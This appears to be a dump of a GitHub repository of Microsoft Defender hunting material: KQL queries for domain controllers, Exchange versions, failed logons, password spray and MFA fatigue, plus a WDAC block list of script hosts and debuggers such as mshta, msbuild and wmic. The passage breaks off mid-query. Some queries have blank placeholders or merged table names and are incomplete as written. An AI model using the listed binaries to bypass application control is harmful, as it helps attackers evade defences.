├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ ├── content-suggestion.md │ └── feature_request.md ├── .vscode └── settings.json ├── AdvancedHunting ├── ADDomainControllers.md ├── Azure AD - B2B policy changes - AllowedDomains.md ├── Defender - Detection - Removal and Quarantine actions.md ├── Exchange │ ├── exchange_server_version.kql │ ├── exchangekql.kql │ └── exchnage_versions.csv ├── Externaldata │ └── wdacblockrules.txt ├── Failed Logon - Public IP.md ├── MCASShadowReporting.md ├── MD365-PasswordSprayAttacks.md ├── MDE - ASR State.md ├── MDE - DeviceDiscovery.md ├── MDE - DeviceDiscovery_SeenBy.md ├── MDE - DeviceInventory - Network-IoT.md ├── MDE - EOS Windows versions.md ├── MDE - Logon with local admin rights.md ├── MDE - Outdated Defender Signatures.md ├── MDE - Unified Agent.md ├── MDE - Windows 10 LTSC Inventory.md ├── MDE usage latest.md ├── MDE-AmsiScriptDetection.md ├── MDE-DefenderEngine.md ├── MDE-InternetFacing.md ├── MDE-Signature-FP-ASR.md ├── MDE-TVM-BrowserExtensions.md ├── MDE-Tampering.md ├── MDE-TroubleshootingMode.md ├── MDE-Zeek.md ├── MDI - WinPcap - npcap.md ├── MDO - Email PostDelivery Actions.md ├── MMA - Update.md ├── PatchMyPC_MDE │ ├── patchmypc_mde.csv │ └── pmpmde.kql ├── Sign-in - Auditlog outside office hours.md ├── T1046 - Network Service Scanning.md ├── T1071.004 - Application Layer Protocol - DNS.md ├── T1219 - Remote Access Software.md ├── T1484.001 Group Policy Modification.md ├── T1553.005 - Subvert Trust Controls - Mark-of-the-Web Bypass.md ├── URLHaus │ ├── URLhaus - Feed - CH.kql │ ├── URLhaus - URLonly - online.kql │ ├── URLhaus - devicefileevents.kql │ ├── URLhaus - devicenetworkevents.kql │ ├── URLhaus - domain names.kql │ ├── URLhaus_database_online.kql │ └── urlhaus - serach mdatp.kql ├── UntrustedWiFiConnections.md ├── WDAC BlockList.md ├── depr-psmodule.md ├── lastseen.md └── parse_user_agent.md ├── DemoTools ├── ASR │ └── AttackSurfaceReduction.md ├── AdvancedHunting │ ├── AD │ │ └── ADGroupchanges.kql │ ├── Autostart │ │ └── Autostart.kql │ ├── COVID │ │ └── covid.kql │ ├── Defender │ │ ├── AV Detections.txt │ │ ├── Get AV Scans Run.txt │ │ ├── Get AV Signature Version.txt │ │ ├── Get Network Protection Events-barchart.txt │ │ ├── Get Network Protection Events.txt │ │ └── engine.kql │ ├── LDAP │ │ └── LDATP.kql │ ├── LocalAdmins │ │ └── localadmin.kql │ ├── MTP │ │ └── email.kql │ ├── SystemGuard │ │ ├── SystemGuard.md │ │ ├── doc.txt │ │ └── sampleoutput.txt │ ├── TVM │ │ ├── API.md │ │ ├── AV Compliance by Machine by Setting.txt │ │ ├── Bitlocker Compliance.txt │ │ ├── DeviceTvmSecureConfigurationAssessment.kql │ │ ├── DeviceTvmSoftwareInventoryVulnerabilities.kql │ │ ├── Get Machines without a specific software version.txt │ │ ├── TVMMonthlyReport.kql │ │ ├── TVMSample1.kql │ │ └── summaryconfig.kql │ ├── USB │ │ └── USB.KQL │ └── alert .kql ├── Attacks │ ├── README.md │ ├── ReverseTCPAttack.md │ ├── credentialguard.md │ └── mitreatt&ck.md ├── CMPivot │ └── cmpivot.kql ├── MDATPAdminLog │ └── mdatpadminlog.txt ├── Mitre │ ├── Disabling Security Tools.md │ ├── Mittre.md │ └── PowerShell.md ├── PSscripts │ └── GetADObjectInfo.ps1 ├── Restinfo.md ├── freevideo.zip └── vbscripts │ ├── listcomputers.vbs │ ├── listgroups.vbs │ ├── listusers.vbs │ └── word.vba ├── Images ├── DefenderXDR.png ├── MDATP1.png ├── defender.png ├── defener365resourcehub.png ├── mdatp icons │ ├── active-threat-icon.png │ ├── alert-icon.png │ ├── atp-access-token-modification-icon.png │ ├── atp-application-guard-events-icon.png │ ├── atp-command-line-icon.png │ ├── atp-community-center.png │ ├── atp-exploit-guard-events-icon.png │ ├── atp-file-creation-icon.png │ ├── atp-file-observed-icon.png │ ├── atp-file-path-icon.png │ ├── atp-firewall-events-icon.png │ ├── atp-logo-icon.png │ ├── atp-machine-icon.png │ ├── atp-memory-allocation-icon.png │ ├── atp-network-communications-icon.png │ ├── atp-notifications.png │ ├── atp-other-events-icon.png │ ├── atp-powershell-command-run-icon.png │ ├── atp-process-event-icon.png │ ├── atp-process-injection.png │ ├── atp-process-tree.png │ ├── atp-registry-event-icon.png │ ├── atp-respond-action-icon.png │ ├── atp-smart-screen-events-icon.png │ ├── atp-thunderbolt-icon.png │ ├── atp-unsigned-file-icon.png │ ├── atp-windows-defender-av-events-icon.png │ ├── detection-icon.png │ ├── failed.png │ ├── no-threats-found.png │ ├── not-remediated-icon.png │ ├── partially-investigated.png │ ├── partially_remediated.png │ ├── pending.png │ ├── remediated-icon.png │ ├── remediated.png │ ├── running.png │ ├── terminated-by-system.png │ ├── tvm_alert_icon.png │ ├── tvm_bug_icon.png │ └── tvm_insight_icon.png ├── sentinel01.png ├── small_DefenderXDR.png └── small_defener365resourcehub.png ├── LICENSE ├── LiveResponse ├── Analyze-file.md ├── Library │ ├── Scripts │ │ ├── ASR_Analyzer_v2.2.ps1 │ │ ├── DefenderExclusions.ps1 │ │ ├── Dump-LRNTFSInfo.ps1 │ │ ├── Extract-Macro.ps1 │ │ ├── Get-OfficeDocuments.ps1 │ │ ├── Get-WFPAuditStatus.ps1 │ │ ├── Get-WFPEventsLR2.ps1 │ │ ├── Run-LRWhoami.ps1 │ │ ├── Run-scquery.ps1 │ │ ├── defenderinfo.ps1 │ │ ├── minidump.ps1 │ │ ├── processsample.ps1 │ │ └── remove-file.ps1 │ └── Tools │ │ └── ntfsinfo64.exe └── Readme.md ├── PowerShell ├── CI_DefenderMAPS_Discovery.ps1 ├── Download-DefenderUpdates.ps1 ├── Get-CSDeviceGuardStatus.ps1 ├── Get-DefenderATPStatus.ps1 ├── Get-DefenderEGEvents.ps1 ├── MDO-AllowedDomainsKQLprep.ps1 ├── Validate-DefenderExclusion.ps1 ├── alloweddomain.ps1 ├── lastconnected.ps1 ├── mdeevents.txt └── readme.md └── README.md /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/content-suggestion.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Content Suggestion 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | Simply submit the links to any resources you feel should be added. 11 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "cSpell.words": [ 3 | "Feldman" 4 | ] 5 | } -------------------------------------------------------------------------------- /AdvancedHunting/ADDomainControllers.md: -------------------------------------------------------------------------------- 1 | # Active Directory - Domain Controllers 2 | 3 | Use below queries to identify Active Directory domain controllers 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // Domain controllers 11 | DeviceNetworkEvents 12 | | where LocalPort == "88" 13 | | distinct DeviceId 14 | | extend Type = "DomainController" 15 | | join (DeviceInfo 16 | | where isnotempty( OSBuild) 17 | | summarize arg_max(Timestamp,*) by DeviceId, OSBuild) 18 | on $left.DeviceId == $right.DeviceId 19 | | project DeviceName, Type, OSBuild, OSPlatform, OSVersion, OSArchitecture, PublicIP 20 | ``` 21 | 22 | ```Kusto 23 | // Domain controllers inbound traffic 24 | let escludeprocesses = dynamic(['lsass.exe','svchost.exe','System','dns.exe','dfsrs.exe']); 25 | let lookback = 4h; 26 | let DomainControllerComputers = DeviceNetworkEvents 27 | | where LocalPort == "88" 28 | | distinct DeviceId 29 | | extend Type = "DomainController" 30 | | join (DeviceInfo 31 | | where isnotempty( OSBuild) 32 | | summarize arg_max(Timestamp,*) by DeviceId, OSBuild) 33 | on $left.DeviceId == $right.DeviceId 34 | | project DeviceId, DeviceName, Type, OSBuild, OSPlatform, OSVersion, OSArchitecture, PublicIP; 35 | DeviceNetworkEvents 36 | | where Timestamp > ago (lookback) 37 | | where DeviceId in (DomainControllerComputers) 38 | | where ActionType == "InboundConnectionAccepted" 39 | | summarize count() by RemotePort, ActionType, InitiatingProcessFileName 40 | | where InitiatingProcessFileName !in (escludeprocesses) 41 | ``` 42 | 43 | 44 | 45 | ## Category 46 | 47 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 48 | 49 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 50 | |-|-|-| 51 | | Initial access | | | 52 | | Execution | | | 53 | | Persistence | | | 54 | | Privilege escalation | | | 55 | | Defense evasion | | | 56 | | Credential Access | | | 57 | | Discovery | | | 58 | | Lateral movement | | | 59 | | Collection | | | 60 | | Command and control | | | 61 | | Exfiltration | | | 62 | | Impact | | | 63 | | Vulnerability | | | 64 | | Misconfiguration | | | 65 | | Malware, component | | | 66 | 67 | ## See also 68 | 69 | ## Contributor info 70 | 71 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/Azure AD - B2B policy changes - AllowedDomains.md: -------------------------------------------------------------------------------- 1 | # Azure AD - Allow or block invitations to B2B users 2 | 3 | Use the following query to identify allowed domain changes in the Azure AD B2B policy. 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // Monitor allow/deny domain changes on the Azure AD B2B policy 11 | AuditLogs 12 | | where OperationName == "Update policy" or OperationName == 'Add policy' 13 | | where TargetResources[0].displayName == "B2BManagementPolicy" 14 | | extend InitiatedBy = tostring(parse_json(tostring(InitiatedBy.user)).userPrincipalName) 15 | | extend ModifiedNew = iff(OperationName == "Update policy", (parse_json(TargetResources)[0].modifiedProperties[0].newValue), 16 | iff(OperationName == "Add policy", (parse_json(TargetResources)[0].modifiedProperties[1].newValue), "undefined")) 17 | | extend ModifiedOld = iff(OperationName == "Update policy", (parse_json(TargetResources)[0].modifiedProperties[0].oldValue), 18 | iff(OperationName == "Add policy", (parse_json(TargetResources)[0].modifiedProperties[1].oldValue), "undefined")) 19 | | extend newPolicy = parse_json(parse_json(tostring((ModifiedNew)))[0]) 20 | | extend newAllowedDomains = parse_json(parse_json(tostring(extractjson("$.B2BManagementPolicy", tostring(newPolicy)))).InvitationsAllowedAndBlockedDomainsPolicy).AllowedDomains 21 | | extend oldPolicy = parse_json(parse_json(tostring((ModifiedOld)))[0]) 22 | | extend oldAllowedDomains = parse_json(parse_json(tostring(extractjson("$.B2BManagementPolicy", tostring(oldPolicy)))).InvitationsAllowedAndBlockedDomainsPolicy).AllowedDomains 23 | | extend AddedDomain = parse_json(parse_json(set_difference(newAllowedDomains, oldAllowedDomains))) 24 | | extend RemovedDomain = parse_json(parse_json(set_difference(oldAllowedDomains, newAllowedDomains))) 25 | | project 26 | TimeGenerated, 27 | InitiatedBy, 28 | OperationName, 29 | AddedDomain, 30 | RemovedDomain, 31 | newAllowedDomains, 32 | oldAllowedDomains 33 | | sort by TimeGenerated desc 34 | 35 | ``` 36 | 37 | 38 | 39 | ## Category 40 | 41 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 42 | 43 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 44 | |-|-|-| 45 | | Initial access | | | 46 | | Execution | | | 47 | | Persistence | | | 48 | | Privilege escalation | | | 49 | | Defense evasion | | | 50 | | Credential Access | | | 51 | | Discovery | | | 52 | | Lateral movement | | | 53 | | Collection | | | 54 | | Command and control | | | 55 | | Exfiltration | | | 56 | | Impact | | | 57 | | Vulnerability | | | 58 | | Misconfiguration | | | 59 | | Malware, component | | | 60 | 61 | ## See also 62 | https://docs.microsoft.com/en-us/azure/active-directory/external-identities/allow-deny-list 63 | 64 | ## Contributor info 65 | 66 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/Defender - Detection - Removal and Quarantine actions.md: -------------------------------------------------------------------------------- 1 | # Defender - Detection - Removal and Quarantine actions 2 | 3 | Use the below queries to find Windows Defender file removal and quarantine actions 4 | --- 5 | 6 | ## Query 7 | 8 | ## Malicious file detected and removed during file download scan 9 | 10 | ```Kusto 11 | DeviceEvents 12 | | where ActionType == @"OtherAlertRelatedActivity" 13 | | project Timestamp, DeviceName, AdditionalFields, FileName, FolderPath, SHA1 14 | | extend event = parse_json(AdditionalFields).Description 15 | | where event contains "removed" and event contains "download scan" 16 | | extend Threat = split(split(event,"removed")[1]," ")[1] 17 | | extend URL = split(event,"from")[1] 18 | | invoke FileProfile(SHA1) 19 | | project Timestamp, DeviceName, Threat, URL,GlobalPrevalence, FileName, FolderPath, SHA1, event 20 | ``` 21 | 22 | ## Malicious file detected and quarantined 23 | 24 | ``` 25 | DeviceEvents 26 | | where ActionType == @"OtherAlertRelatedActivity" 27 | | project Timestamp, DeviceName, AdditionalFields, FileName, FolderPath, SHA1 28 | | extend event = parse_json(AdditionalFields).Description 29 | | where event contains "detected" and event contains "quarantined" 30 | | extend Threat = split(split(event,"quarantined")[1]," ")[1] 31 | /// | extend URL = split(event,"from")[1] 32 | | invoke FileProfile(SHA1) 33 | | project Timestamp, DeviceName, Threat, GlobalPrevalence, FileName, FolderPath, SHA1, event 34 | ``` 35 | 36 | ## Defender detections 37 | ``` 38 | DeviceEvents 39 | | where ActionType == "AntivirusDetection" 40 | | extend event = parse_json(AdditionalFields) 41 | | extend Threat = event.ThreatName 42 | | extend WasRemediated = event.WasRemediated 43 | | extend Action = event.Action 44 | | extend ReportSource = event.ReportSource 45 | | project Timestamp, DeviceName, event, Threat, WasRemediated, Action, ReportSource, FileName 46 | ``` 47 | 48 | 49 | 50 | ## Category 51 | 52 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 53 | 54 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 55 | |-|-|-| 56 | | Initial access | | | 57 | | Execution | | | 58 | | Persistence | | | 59 | | Privilege escalation | | | 60 | | Defense evasion | | | 61 | | Credential Access | | | 62 | | Discovery | | | 63 | | Lateral movement | | | 64 | | Collection | | | 65 | | Command and control | | | 66 | | Exfiltration | | | 67 | | Impact | | | 68 | | Vulnerability | | | 69 | | Misconfiguration | | | 70 | | Malware, component | | | 71 | 72 | ## See also 73 | 74 | ## Contributor info 75 | 76 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/Exchange/exchange_server_version.kql: -------------------------------------------------------------------------------- 1 | // https://security.microsoft.com/threatanalytics3/4ef1fbc5-5659-4d9b-b32e-97a694475955/overview 2 | // HAFNIUM - Exchange 3 | 4 | // Query 1 5 | // Find exchange servers that run umworkerprocess.exe and then lookup the 6 | // exchange version information, release date and build name 7 | 8 | let exchangeserverioninfo = (externaldata (ProductName:string, ReleaseDate:string, Build_short:string, Build_long:string) 9 | [@"https://raw.githubusercontent.com/alexverboon/MDATP/master/AdvancedHunting/Exchange/exchnage_versions.csv"] 10 | with(format="csv",ignoreFirstRecord=true)) 11 | | where ProductName !startswith "#" 12 | | project ProductName,ReleaseDate, Build_long, Build_short; 13 | // exchangeserverioninfo 14 | // Identify Exchange servers with umworkerprocess.exe 15 | DeviceProcessEvents 16 | | where FileName contains "umworkerprocess.exe" 17 | | where FolderPath contains @"\Exchange\Bin\" 18 | | distinct DeviceName,tostring(ProcessVersionInfoProductName), ProcessVersionInfoProductVersion, FolderPath 19 | | join kind=leftouter exchangeserverioninfo 20 | on $left.ProcessVersionInfoProductVersion == $right. Build_long 21 | 22 | // Query 2 23 | // Find Exchange servers using Defender for Endpoint Threat and vulnerability inventory data 24 | 25 | let exchangeserverioninfo = (externaldata (ProductName:string, ReleaseDate:string, Build_short:string, Build_long:string) 26 | [@"https://raw.githubusercontent.com/alexverboon/MDATP/master/AdvancedHunting/Exchange/exchnage_versions.csv"] 27 | with(format="csv",ignoreFirstRecord=true)) 28 | | where ProductName !startswith "#" 29 | | project ProductName,ReleaseDate, Build_long, Build_short; 30 | // Identify Exchange servers based on TVM inventory data 31 | DeviceTvmSoftwareInventory 32 | | where SoftwareVendor contains "Microsoft" 33 | | where SoftwareName contains "Exchange" 34 | | join kind=leftouter exchangeserverioninfo 35 | on $left.SoftwareVersion == $right. Build_short 36 | | project DeviceName, OSPlatform, OSVersion, OSArchitecture, SoftwareName, SoftwareVersion, ProductName, ReleaseDate, Build_short 37 | 38 | 39 | 40 | 41 | 42 | not very precise but can help when you have unidentified versions. 43 | 44 | let pattern = @"^(.*)(\.\d+)$"; 45 | let exchangeserverioninfo = (externaldata (ProductName:string, ReleaseDate:string, Build_short:string, Build_long:string) 46 | [@"https://raw.githubusercontent.com/alexverboon/MDATP/master/AdvancedHunting/Exchange/exchnage_versions.csv"] 47 | with(format="csv",ignoreFirstRecord=true)) 48 | | where ProductName !startswith "#" 49 | | extend Build_long_main = extract(pattern,1, Build_long) 50 | | project ProductName,ReleaseDate, Build_long, Build_long_main,Build_short; 51 | DeviceProcessEvents 52 | | where FolderPath contains "Exchange Server" 53 | | extend ProcessVersionInfoProductVersion_main = extract(pattern,1,ProcessVersionInfoProductVersion) 54 | | distinct DeviceName, FileName, FolderPath, ProcessVersionInfoProductVersion, ProcessVersionInfoProductVersion_main 55 | | join kind=leftouter exchangeserverioninfo 56 | on $left.ProcessVersionInfoProductVersion_main == $right.Build_long_main 57 | | project DeviceName, FileName, ProcessVersionInfoProductVersion, Build_long, Build_short, ProductName, ReleaseDate -------------------------------------------------------------------------------- /AdvancedHunting/Exchange/exchangekql.kql: -------------------------------------------------------------------------------- 1 | // look for aspx files 2 | let ExChangeServers = 3 | DeviceProcessEvents 4 | | where FileName contains "umworkerprocess.exe" 5 | | project DeviceName; 6 | DeviceFileEvents 7 | | where DeviceName in (ExChangeServers) 8 | | where FileName endswith ".aspx" 9 | -------------------------------------------------------------------------------- /AdvancedHunting/Externaldata/wdacblockrules.txt: -------------------------------------------------------------------------------- 1 | # The below list contains executables that microsoft recommends blocking when using WDAC policies 2 | addinprocess.exe 3 | addinprocess32.exe 4 | addinutil.exe 5 | aspnet_compiler.exe 6 | bash.exe 7 | bginfo.exe 8 | cdb.exe 9 | cscript.exe 10 | csi.exe 11 | dbghost.exe 12 | dbgsvc.exe 13 | dnx.exe 14 | dotnet.exe 15 | fsi.exe 16 | fsiAnyCpu.exe 17 | infdefaultinstall.exe 18 | kd.exe 19 | kill.exe 20 | lxssmanager.dll 21 | lxrun.exe 22 | Microsoft.Build.dll 23 | Microsoft.Build.Framework.dll 24 | Microsoft.Workflow.Compiler.exe 25 | msbuild.exe 26 | msbuild.dll 27 | mshta.exe 28 | ntkd.exe 29 | ntsd.exe 30 | powershellcustomhost.exe 31 | rcsi.exe 32 | runscripthelper.exe 33 | texttransform.exe 34 | visualuiaverifynative.exe 35 | system.management.automation.dll 36 | wfc.exe 37 | windbg.exe 38 | wmic.exe 39 | wscript.exe 40 | wsl.exe 41 | wslconfig.exe 42 | wslhost.exe -------------------------------------------------------------------------------- /AdvancedHunting/Failed Logon - Public IP.md: -------------------------------------------------------------------------------- 1 | # Failed logon attempts originating from public IP addresses 2 | 3 | Use the below queries to identify failed logon attemps that originate from a public IP. 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // check for logons from Public IP 11 | DeviceLogonEvents 12 | | where ActionType == "LogonFailed" 13 | | where RemoteIPType == "Public" 14 | | project Timestamp, DeviceName, ActionType, LogonType,AccountName, FailureReason, Protocol,RemoteIP 15 | ``` 16 | 17 | ```Kusto 18 | // check for network events originating from these IPs 19 | let publicips = 20 | DeviceLogonEvents 21 | | where ActionType == "LogonFailed" 22 | | where RemoteIPType == "Public" 23 | | project Timestamp, DeviceName, ActionType, LogonType, FailureReason, Protocol,RemoteIP 24 | | distinct RemoteIP; 25 | DeviceNetworkEvents 26 | | where LocalPort == 3389 27 | | where RemoteIPType == "Public" 28 | | where RemoteIP in (publicips) 29 | ``` 30 | 31 | 32 | ## Category 33 | 34 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 35 | 36 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 37 | |-|-|-| 38 | | Initial access | v | | 39 | | Execution | | | 40 | | Persistence | | | 41 | | Privilege escalation | | | 42 | | Defense evasion | | | 43 | | Credential Access | v | | 44 | | Discovery | | | 45 | | Lateral movement | | | 46 | | Collection | | | 47 | | Command and control | | | 48 | | Exfiltration | | | 49 | | Impact | | | 50 | | Vulnerability | | | 51 | | Misconfiguration | | | 52 | | Malware, component | | | 53 | 54 | ## See also 55 | 56 | ## Contributor info 57 | 58 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MCASShadowReporting.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender for Cloud Apps - Shadow IT Reporting 2 | 3 | --- 4 | 5 | ## Query 6 | 7 | ```Kusto 8 | // mcas shadown reporting 9 | McasShadowItReporting 10 | | where TimeGenerated > ago (90d) 11 | | where StreamName == "Win10 Endpoint Users" 12 | | summarize Totalbytes = sum(TotalBytes), UploadBytes = sum( UploadedBytes), DownloadBytes = sum(DownloadedBytes), Users = make_set(EnrichedUserName), Devices = make_set(MachineName), IPAddresses = make_set(IpAddress) by AppName, AppScore 13 | | extend TotalDevices = array_length(Devices) 14 | | extend TotalIPAddresses = array_length(IPAddresses) 15 | | extend Totalusers = array_length(Users) 16 | | extend UploadMB = format_bytes(UploadBytes,0,"MB") 17 | | extend TotalTraffic = format_bytes(Totalbytes,0,"MB") 18 | | extend DownloadMB = format_bytes(DownloadBytes,0,"MB") 19 | | project AppName,AppScore, TotalDevices, TotalIPAddresses, Totalusers, TotalTraffic, UploadMB, DownloadMB, IPAddresses, Devices, Users 20 | ``` 21 | 22 | ```Kusto 23 | McasShadowItReporting 24 | | where TimeGenerated > ago (90d) 25 | | where StreamName == "Win10 Endpoint Users" 26 | | summarize Totalbytes = sum(TotalBytes), UploadBytes = sum( UploadedBytes), DownloadBytes = sum(DownloadedBytes), Users = make_set(EnrichedUserName), Devices = make_set(MachineName), IPAddresses = make_set(IpAddress) , Apps = make_set(AppName) by EnrichedUserName 27 | | extend TotalDevices = array_length(Devices) 28 | | extend TotalIPAddresses = array_length(IPAddresses) 29 | | extend Totalusers = array_length(Users) 30 | | extend TotalApps = array_length(Apps) 31 | | extend UploadMB = format_bytes(UploadBytes,0,"MB") 32 | | extend TotalTraffic = format_bytes(Totalbytes,0,"MB") 33 | | extend DownloadMB = format_bytes(DownloadBytes,0,"MB") 34 | | project EnrichedUserName, TotalDevices, TotalIPAddresses, Totalusers,TotalApps, TotalTraffic, UploadMB, DownloadMB, IPAddresses, Devices, Users, Apps 35 | 36 | ``` 37 | 38 | 39 | 40 | 41 | ## Contributor info 42 | 43 | **Contributor:** Alex Verboon, Kim Oppalfens - @TheWMIGuy -------------------------------------------------------------------------------- /AdvancedHunting/MD365-PasswordSprayAttacks.md: -------------------------------------------------------------------------------- 1 | # Microsoft 365 Defender - password spray attacks 2 | 3 | - [Alert classification for password spray attacks](https://learn.microsoft.com/en-us/microsoft-365/security/defender/alert-grading-password-spray-attack?view=o365-worldwide) 4 | 5 | ## Query 6 | 7 | Use this query to identify password spray activity. 8 | 9 | 10 | ```Kusto 11 | IdentityLogonEvents 12 | | where Timestamp > ago(7d) 13 | | where ActionType == "LogonFailed" 14 | | where isnotempty(RiskLevelDuringSignIn) 15 | | where AccountObjectId == 16 | | summarize TargetCount = dcount(AccountObjectId), TargetCountry = dcount(Location), TargetIPAddress = dcount(IPAddress) by ISP 17 | | where TargetCount >= 100 18 | | where TargetCountry >= 5 19 | | where TargetIPAddress >= 25 20 | ``` 21 | 22 | Use this query to identify other activities from the alerted ISP. 23 | 24 | ```Kusto 25 | CloudAppEvents 26 | | where Timestamp > ago(7d) 27 | | where AccountObjectId == 28 | | where ISP == 29 | | summarize count() by Application, ActionType, bin(Timestamp, 1h) 30 | ``` 31 | 32 | Use this query to identify sign-in patterns for the impacted user. 33 | 34 | ```Kusto 35 | IdentityLogonEvents 36 | | where Timestamp > ago(7d) 37 | | where AccountObjectId == 38 | | where ISP == 39 | | where Application != "Active Directory" 40 | | summarize SuccessCount = countif(ActionType == "LogonSuccess"), FailureCount = countif(ActionType == "LogonFailed") by ISP 41 | ``` 42 | 43 | Use this query to identify MFA fatigue attacks. 44 | 45 | ```Kusto 46 | AADSignInEventsBeta 47 | | where Timestamp > ago(1h) 48 | //Error Code : 50088 : Limit on telecom MFA calls reached 49 | //Error Code : 50074 : Strong Authentication is required. 50 | | where ErrorCode in ("50074","50088") 51 | | where isnotempty(AccountObjectId) 52 | | where isnotempty(IPAddress) 53 | | where isnotempty(Country) 54 | | summarize (Timestamp, ReportId) = arg_max(Timestamp, ReportId), FailureCount = count() by AccountObjectId, Country, IPAddress 55 | | where FailureCount >= 10 56 | ``` 57 | 58 | Use this query to identify MFA reset activities. 59 | 60 | ```Kusto 61 | let relevantActionTypes = pack_array("Disable Strong Authentication.","system.mfa.factor.deactivate", "user.mfa.factor.update", "user.mfa.factor.reset_all", "core.user_auth.mfa_bypass_attempted"); 62 | CloudAppEvents 63 | AlertInfo 64 | | where Timestamp > ago(1d) 65 | | where isnotempty(AccountObjectId) 66 | | where Application in ("Office 365","Okta") 67 | | where ActionType in (relevantActionTypes) 68 | | where RawEventData contains "success" 69 | | project Timestamp, ReportId, AccountObjectId, IPAddress, ActionType 70 | 71 | 72 | 73 | CloudAppEvents 74 | | where Timestamp > ago(1d) 75 | | where ApplicationId == 11161 76 | | where ActionType == "Update user." 77 | | where isnotempty(AccountObjectId) 78 | | where RawEventData has_all("StrongAuthenticationRequirement","[]") 79 | | mv-expand ModifiedProperties = RawEventData.ModifiedProperties 80 | | where ModifiedProperties.Name == "StrongAuthenticationRequirement" and ModifiedProperties.OldValue != "[]" and ModifiedProperties.NewValue == "[]" 81 | | mv-expand ActivityObject = ActivityObjects 82 | | where ActivityObject.Role == "Target object” 83 | | extend TargetObjectId = tostring(ActivityObject.Id) 84 | | project Timestamp, ReportId, AccountObjectId, ActivityObjects, TargetObjectId 85 | ``` 86 | 87 | Use this query to find new email inbox rules created by the impacted user. 88 | 89 | ```Kusto 90 | CloudAppEvents 91 | | where AccountObjectId == 92 | | where Timestamp > ago(21d) 93 | | where ActionType == "New-InboxRule" 94 | | where RawEventData.SessionId in (suspiciousSessionIds) 95 | ``` 96 | 97 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE - ASR State.md: -------------------------------------------------------------------------------- 1 | # MDE Attack Surface Reduction Rule State 2 | 3 | Use the below query to retrieve information about the state of the individual Attack Surface Reduction rules by using the [DeviceTvmInfoGathering](https://learn.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-devicetvminfogathering-table?view=o365-worldwide) table from Microsoft Defender Threat and Vulnerability Management. 4 | 5 | ---- 6 | 7 | ## Query 8 | 9 | 10 | 11 | 12 | ```Kusto 13 | 14 | DeviceInfo 15 | | where OnboardingStatus == 'Onboarded' 16 | | where isnotempty(OSPlatform) 17 | | summarize arg_max(Timestamp, *) by DeviceName 18 | | where OSPlatform startswith "Windows" 19 | | project DeviceName, OSPlatform 20 | | join kind=leftouter ( 21 | DeviceTvmInfoGathering 22 | | extend AF = parse_json(AdditionalFields) 23 | | extend ASR1 = parse_json(AdditionalFields.AsrConfigurationStates) 24 | | project DeviceName, ASR1 25 | | evaluate bag_unpack(ASR1) 26 | ) 27 | on $left.DeviceName == $right.DeviceName 28 | | project-away DeviceName1 29 | 30 | ``` 31 | 32 | 33 | 34 | 35 | 36 | ---- 37 | 38 | 39 | ## Work in Progress...... just trying.... :-) 40 | 41 | 42 | ```Kusto 43 | 44 | let asrkb = materialize (DeviceTvmInfoGatheringKB 45 | | where Categories has "asr" 46 | | extend AsrRuleName = replace_regex(FieldName,"Asr","") 47 | | project AsrRuleName, Description 48 | ); 49 | DeviceInfo 50 | | where OnboardingStatus == 'Onboarded' 51 | | where isnotempty( OSPlatform) 52 | | summarize arg_max(Timestamp,*) by DeviceName 53 | | where OSPlatform startswith "Windows" 54 | | project DeviceName, OSPlatform 55 | | join kind=leftouter 